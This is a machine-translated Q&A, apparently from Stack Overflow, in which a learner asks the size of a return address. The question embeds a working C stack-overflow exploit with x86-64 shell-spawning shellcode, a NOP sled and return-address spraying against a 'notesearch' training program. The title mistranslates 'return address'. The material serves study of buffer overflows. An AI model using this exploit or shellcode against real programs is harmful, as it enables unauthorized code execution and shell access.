退货地址的大小是多少?

时间:2016-01-28 01:36:52

标签: buffer-overflow shellcode

我知道这可能听起来有些讽刺,但我无法在任何地方找到它。 在64位机器上,返回地址是多少字节? 32位怎么样?

我问的原因是因为我正在学习缓冲区溢出攻击,我必须写一个漏洞。这个程序在缓冲区中分配了100个字符,但是没有检查它是否溢出。我到目前为止的计划是:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


const char shellcode[] = 
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";



int main(int argc, char *argv[]) {

    long int i, *ptr, ret, offset = 176;
    char *command, *buffer;

    command = (char *) malloc(200);
    memset(command, 0, 200); //Zero out the new memory

    strcpy(command, "./notesearch \'");
    buffer = command + strlen(command); // Set buffer at the end

    if(argc > 1) //Set offset
        offset = atoi(argv[1]);

    ret = ((long int) &i) - offset; //Set return address


    for(i=0; i <160; i+=8) //Fill buffer with return addres
        *((long int *)(buffer + i)) = ret;

    memset(buffer, 0x90, 60); //Build NOP sled
    memcpy(buffer+60, shellcode, sizeof(shellcode) -1);

    strcat(command, "\'");

    system(command); //Run Exploit
    free (command);
}

我想知道的原因是因为当我用返回地址填充缓冲区时,我需要确保它的大小正确

1 个答案:

答案 0 :(得分:2)

这取决于你的意思&#34; 64位机器&#34;或者&#34; 32位机器&#34;。

首先,您的问题被标记为C. C平台可以实现(或完全)独立于底层硬件,这意味着它可以使用任何大小的返回地址,无论机器如何。

其次,如果C平台与底层硬件保持密切联系(通常就是这种情况),那么在具有平坦内存模型的平台上它应该相当简单:64位机器意味着64位返回地址; 32位机器意味着32位返回地址。

另一方面,在具有分段内存的平台上,它可能依赖于编译器提供的运行时内存模型。例如,在DOS平台上,对于16位机器,返回地址可以是16位或32位,具体取决于所选的内存模型。